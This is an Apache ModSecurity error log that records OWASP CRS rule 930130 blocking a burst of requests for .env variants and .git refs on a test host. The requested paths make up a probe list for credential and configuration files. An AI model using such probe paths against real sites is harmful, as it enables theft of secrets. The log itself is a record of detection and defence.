[Fri Mar 20 16:14:06.265546 2026] [:error] [pid 2827214] [client 172.70.251.28:12899] [client 172.70.251.28] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/backend/.env"] [unique_id "ab1kPm808gcmd_Zzq_-pCgAAABI"]
[Fri Mar 20 16:14:06.265700 2026] [:error] [pid 2827214] [client 172.70.251.28:12899] [client 172.70.251.28] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/backend/.env"] [unique_id "ab1kPm808gcmd_Zzq_-pCgAAABI"]
[Fri Mar 20 16:14:06.285564 2026] [:error] [pid 2815711] [client 172.70.251.28:12907] [client 172.70.251.28] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/.env"] [unique_id "ab1kPvy1_WiwY9KfWu_40gAAAAI"]
[Fri Mar 20 16:14:06.285706 2026] [:error] [pid 2815711] [client 172.70.251.28:12907] [client 172.70.251.28] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/.env"] [unique_id "ab1kPvy1_WiwY9KfWu_40gAAAAI"]
[Fri Mar 20 16:14:06.285849 2026] [:error] [pid 2815711] [client 172.70.251.28:12907] [client 172.70.251.28] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/.env"] [unique_id "ab1kPvy1_WiwY9KfWu_40gAAAAI"]
[Fri Mar 20 16:14:06.306365 2026] [:error] [pid 2815709] [client 172.70.251.28:12904] [client 172.70.251.28] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /core/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/core/.env"] [unique_id "ab1kPkGu3yPOFBRkxZtw1QAAAAA"]
[Fri Mar 20 16:14:06.306542 2026] [:error] [pid 2815709] [client 172.70.251.28:12904] [client 172.70.251.28] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/core/.env"] [unique_id "ab1kPkGu3yPOFBRkxZtw1QAAAAA"]
[Fri Mar 20 16:14:06.306676 2026] [:error] [pid 2815709] [client 172.70.251.28:12904] [client 172.70.251.28] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/core/.env"] [unique_id "ab1kPkGu3yPOFBRkxZtw1QAAAAA"]
[Fri Mar 20 16:14:06.326669 2026] [:error] [pid 2828200] [client 172.70.251.223:12986] [client 172.70.251.223] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /public/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/public/.env"] [unique_id "ab1kPgp0GbmkUAUfOtfnnwAAAAo"]
[Fri Mar 20 16:14:06.326817 2026] [:error] [pid 2828200] [client 172.70.251.223:12986] [client 172.70.251.223] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/public/.env"] [unique_id "ab1kPgp0GbmkUAUfOtfnnwAAAAo"]
[Fri Mar 20 16:14:06.326990 2026] [:error] [pid 2828200] [client 172.70.251.223:12986] [client 172.70.251.223] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/public/.env"] [unique_id "ab1kPgp0GbmkUAUfOtfnnwAAAAo"]
[Fri Mar 20 16:14:06.346385 2026] [:error] [pid 2815734] [client 172.70.251.27:10752] [client 172.70.251.27] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /private/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/private/.env"] [unique_id "ab1kPm8zubx8zfwe9oW5TAAAAAU"]
[Fri Mar 20 16:14:06.346522 2026] [:error] [pid 2815734] [client 172.70.251.27:10752] [client 172.70.251.27] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/private/.env"] [unique_id "ab1kPm8zubx8zfwe9oW5TAAAAAU"]
[Fri Mar 20 16:14:06.346660 2026] [:error] [pid 2815734] [client 172.70.251.27:10752] [client 172.70.251.27] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/private/.env"] [unique_id "ab1kPm8zubx8zfwe9oW5TAAAAAU"]
[Fri Mar 20 16:14:06.396477 2026] [:error] [pid 2827214] [client 172.70.251.28:12899] [client 172.70.251.28] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /config/.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config/.env.local"] [unique_id "ab1kPm808gcmd_Zzq_-pCwAAABI"]
[Fri Mar 20 16:14:06.396611 2026] [:error] [pid 2827214] [client 172.70.251.28:12899] [client 172.70.251.28] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config/.env.local"] [unique_id "ab1kPm808gcmd_Zzq_-pCwAAABI"]
[Fri Mar 20 16:14:06.396755 2026] [:error] [pid 2827214] [client 172.70.251.28:12899] [client 172.70.251.28] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config/.env.local"] [unique_id "ab1kPm808gcmd_Zzq_-pCwAAABI"]
[Fri Mar 20 16:14:06.417306 2026] [:error] [pid 2815711] [client 172.70.251.28:12907] [client 172.70.251.28] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.php"] [unique_id "ab1kPvy1_WiwY9KfWu_40wAAAAI"]
[Fri Mar 20 16:14:06.417437 2026] [:error] [pid 2815711] [client 172.70.251.28:12907] [client 172.70.251.28] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.php"] [unique_id "ab1kPvy1_WiwY9KfWu_40wAAAAI"]
[Fri Mar 20 16:14:06.417573 2026] [:error] [pid 2815711] [client 172.70.251.28:12907] [client 172.70.251.28] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.php"] [unique_id "ab1kPvy1_WiwY9KfWu_40wAAAAI"]
[Fri Mar 20 16:14:06.437561 2026] [:error] [pid 2815709] [client 172.70.251.28:12904] [client 172.70.251.28] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.json"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.json"] [unique_id "ab1kPkGu3yPOFBRkxZtw1gAAAAA"]
[Fri Mar 20 16:14:06.437693 2026] [:error] [pid 2815709] [client 172.70.251.28:12904] [client 172.70.251.28] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.json"] [unique_id "ab1kPkGu3yPOFBRkxZtw1gAAAAA"]
[Fri Mar 20 16:14:06.437820 2026] [:error] [pid 2815709] [client 172.70.251.28:12904] [client 172.70.251.28] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.json"] [unique_id "ab1kPkGu3yPOFBRkxZtw1gAAAAA"]
[Fri Mar 20 16:14:06.458653 2026] [:error] [pid 2815710] [client 172.70.251.223:12979] [client 172.70.251.223] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env_backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env_backup"] [unique_id "ab1kPjQ9Th-2Y9b0JRd1zgAAAAE"]
[Fri Mar 20 16:14:06.458785 2026] [:error] [pid 2815710] [client 172.70.251.223:12979] [client 172.70.251.223] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env_backup"] [unique_id "ab1kPjQ9Th-2Y9b0JRd1zgAAAAE"]
[Fri Mar 20 16:14:06.458939 2026] [:error] [pid 2815710] [client 172.70.251.223:12979] [client 172.70.251.223] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env_backup"] [unique_id "ab1kPjQ9Th-2Y9b0JRd1zgAAAAE"]
[Fri Mar 20 16:14:06.485062 2026] [:error] [pid 2828198] [client 172.70.251.170:11853] [client 172.70.251.170] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env~"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env~"] [unique_id "ab1kPsksTLMF-0nJGdZb-gAAAAM"]
[Fri Mar 20 16:14:06.485194 2026] [:error] [pid 2828198] [client 172.70.251.170:11853] [client 172.70.251.170] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env~"] [unique_id "ab1kPsksTLMF-0nJGdZb-gAAAAM"]
[Fri Mar 20 16:14:06.485332 2026] [:error] [pid 2828198] [client 172.70.251.170:11853] [client 172.70.251.170] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env~"] [unique_id "ab1kPsksTLMF-0nJGdZb-gAAAAM"]
[Fri Mar 20 16:14:06.511293 2026] [:error] [pid 2815713] [client 172.70.251.169:12134] [client 172.70.251.169] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env1"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env1"] [unique_id "ab1kPpJiwBXnNifSr5vevAAAAAQ"]
[Fri Mar 20 16:14:06.511423 2026] [:error] [pid 2815713] [client 172.70.251.169:12134] [client 172.70.251.169] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env1"] [unique_id "ab1kPpJiwBXnNifSr5vevAAAAAQ"]
[Fri Mar 20 16:14:06.511552 2026] [:error] [pid 2815713] [client 172.70.251.169:12134] [client 172.70.251.169] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env1"] [unique_id "ab1kPpJiwBXnNifSr5vevAAAAAQ"]
[Fri Mar 20 16:14:06.587098 2026] [:error] [pid 2817639] [client 172.70.251.170:11849] [client 172.70.251.170] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/refs/heads/master"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/refs/heads/master"] [unique_id "ab1kPv9i5ZHhQgdGB68gMQAAAAg"]
[Fri Mar 20 16:14:06.587115 2026] [:error] [pid 2815734] [client 172.70.251.27:10752] [client 172.70.251.27] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/refs/heads/main"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/refs/heads/main"] [unique_id "ab1kPm8zubx8zfwe9oW5TQAAAAU"]
[Fri Mar 20 16:14:06.587231 2026] [:error] [pid 2817639] [client 172.70.251.170:11849] [client 172.70.251.170] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/refs/heads/master"] [unique_id "ab1kPv9i5ZHhQgdGB68gMQAAAAg"]
[Fri Mar 20 16:14:06.587234 2026] [:error] [pid 2815734] [client 172.70.251.27:10752] [client 172.70.251.27] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/refs/heads/main"] [unique_id "ab1kPm8zubx8zfwe9oW5TQAAAAU"]
[Fri Mar 20 16:14:06.587358 2026] [:error] [pid 2815734] [client 172.70.251.27:10752] [client 172.70.251.27] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/refs/heads/main"] [unique_id "ab1kPm8zubx8zfwe9oW5TQAAAAU"]
[Fri Mar 20 16:14:06.587383 2026] [:error] [pid 2817639] [client 172.70.251.170:11849] [client 172.70.251.170] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/refs/heads/master"] [unique_id "ab1kPv9i5ZHhQgdGB68gMQAAAAg"]
[Fri Mar 20 16:14:06.605523 2026] [:error] [pid 2817640] [client 172.70.251.224:10067] [client 172.70.251.224] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /admin/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/admin/.env"] [unique_id "ab1kPhq8pDZXKMuYECLOcwAAAAk"]
[Fri Mar 20 16:14:06.605662 2026] [:error] [pid 2817640] [client 172.70.251.224:10067] [client 172.70.251.224] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/admin/.env"] [unique_id "ab1kPhq8pDZXKMuYECLOcwAAAAk"]
